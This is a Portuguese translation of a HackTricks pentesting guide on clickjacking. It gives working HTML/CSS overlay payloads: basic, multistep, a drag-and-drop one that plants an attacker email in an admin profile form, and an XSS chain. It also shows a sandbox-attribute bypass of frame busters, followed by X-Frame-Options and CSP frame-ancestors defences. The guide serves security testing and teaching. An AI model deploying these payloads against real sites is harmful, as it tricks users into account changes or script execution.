hacktricks/pentesting-web/clickjacking.md
2023-06-06 18:56:34 +00:00

14 KiB

Clickjacking

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

O que é Clickjacking

Clickjacking é um ataque que enganar um usuário para clicar em um elemento da página da web que é invisível ou disfarçado como outro elemento. Isso pode fazer com que os usuários baixem malware sem saber, visitem páginas da web maliciosas, forneçam credenciais ou informações confidenciais, transfiram dinheiro ou comprem produtos online. (De aqui).

Truque de preencher formulários

Às vezes, é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.

Preencher formulário com arrastar e soltar

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir que ele arraste e solte algo que escreverá seus dados controlados como em este exemplo.

Payload básico

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload Multistep

O ataque de clickjacking multistep é uma variação do ataque de clickjacking padrão, onde o atacante usa vários cliques em diferentes elementos da página para realizar a ação maliciosa. Isso é feito para evitar a detecção de ferramentas de segurança que procuram por cliques em um único elemento.

O ataque multistep é realizado em várias etapas, onde cada etapa é um clique em um elemento diferente da página. Cada clique é inofensivo por si só, mas quando combinados, eles realizam a ação maliciosa desejada pelo atacante.

Por exemplo, um atacante pode criar um botão invisível em uma página da web que, quando clicado, redireciona o usuário para uma página maliciosa. Para evitar a detecção, o atacante pode dividir o clique em dois ou mais cliques em diferentes elementos da página. O primeiro clique pode ser em um botão inofensivo, enquanto o segundo clique pode ser no botão invisível que redireciona o usuário para a página maliciosa.

Os ataques multistep podem ser mais difíceis de detectar e prevenir do que os ataques de clickjacking padrão, pois envolvem vários cliques em diferentes elementos da página. No entanto, as mesmas técnicas de prevenção de clickjacking padrão podem ser usadas para prevenir ataques multistep.

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Payload de Arrastar e Soltar + Clique

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um ataque XSS que requer que o usuário clique em algum elemento para disparar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode pré-preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com a carga XSS e enganando o usuário a enviar o formulário. Então, quando o formulário é enviado e os valores são modificados, o usuário executará o XSS.

Como evitar o Clickjacking

Defesas do lado do cliente

É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:

  • verificar e impor que a janela de aplicativo atual é a janela principal ou superior,
  • tornar todos os quadros visíveis,
  • impedir o clique em quadros invisíveis,
  • interceptar e sinalizar possíveis ataques de clickjacking em um usuário.

Bypass

Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou, de fato, o navegador pode nem mesmo suportar JavaScript. Uma solução eficaz para o atacante contornar os frame busters é usar o atributo HTML5 iframe sandbox. Quando isso é definido com os valores allow-forms ou allow-scripts e o valor allow-top-navigation é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Tanto os valores allow-forms quanto allow-scripts permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de quadro enquanto permite a funcionalidade dentro do site direcionado.

Dependendo do tipo de ataque de Clickjacking realizado, você também pode precisar permitir: allow-same-origin e allow-modals ou até mais. Ao preparar o ataque, verifique o console do navegador, ele pode informar quais outros comportamentos você precisa permitir.

X-Frame-Options

O cabeçalho de resposta HTTP X-Frame-Options pode ser usado para indicar se um navegador deve ou não ser permitido a renderizar uma página em um <frame> ou <iframe>. Os sites podem usar isso para evitar ataques de Clickjacking, garantindo que seu conteúdo não seja incorporado em outros sites. Defina o cabeçalho X-Frame-Options para todas as respostas que contenham conteúdo HTML. Os valores possíveis são:

  • X-Frame-Options: deny que impede que qualquer domínio enquadre o conteúdo (valor recomendado)
  • X-Frame-Options: sameorigin que permite apenas que o site atual enquadre o conteúdo.
  • X-Frame-Options: allow-from https://trusted.com que permite que o 'uri' especificado enquadre esta página.
    • Verifique as limitações abaixo porque isso falhará se o navegador não suportar.
    • Outros navegadores suportam a nova diretiva CSP frame-ancestors em vez disso. Alguns suportam ambos.

Diretiva de ancestrais de quadro de política de segurança de conteúdo (CSP)

A proteção recomendada contra Clickjacking é incorporar a diretiva frame-ancestors na Política de Segurança de Conteúdo da aplicação.
A diretiva frame-ancestors 'none' é semelhante em comportamento à diretiva X-Frame-Options deny (Ninguém pode enquadrar a página).
A diretiva frame-ancestors 'self' é amplamente equivalente à diretiva X-Frame-Options sameorigin (apenas o site atual pode enquadrá-lo).
A diretiva frame-ancestors trusted.com é amplamente equivalente à diretiva X-Frame-Options allow-from (apenas o site confiável pode enquadrá-lo).

A seguinte lista de permissões CSP permite que os quadros sejam do mesmo domínio apenas:

Content-Security-Policy: frame-ancestors 'self';

Consulte a seguinte documentação para obter mais detalhes e exemplos mais complexos:

Limitações

  • Suporte do navegador: os ancestrais de quadro CSP não são suportados por todos os principais navegadores ainda.
  • X-Frame-Options tem prioridade: Seção "Relação com X-Frame-Options" da especificação CSP diz: "Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja "impor", então o cabeçalho X-Frame-Options DEVE ser ignorado", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options em vez disso.

Referências


Use Trickest para criar e automatizar fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥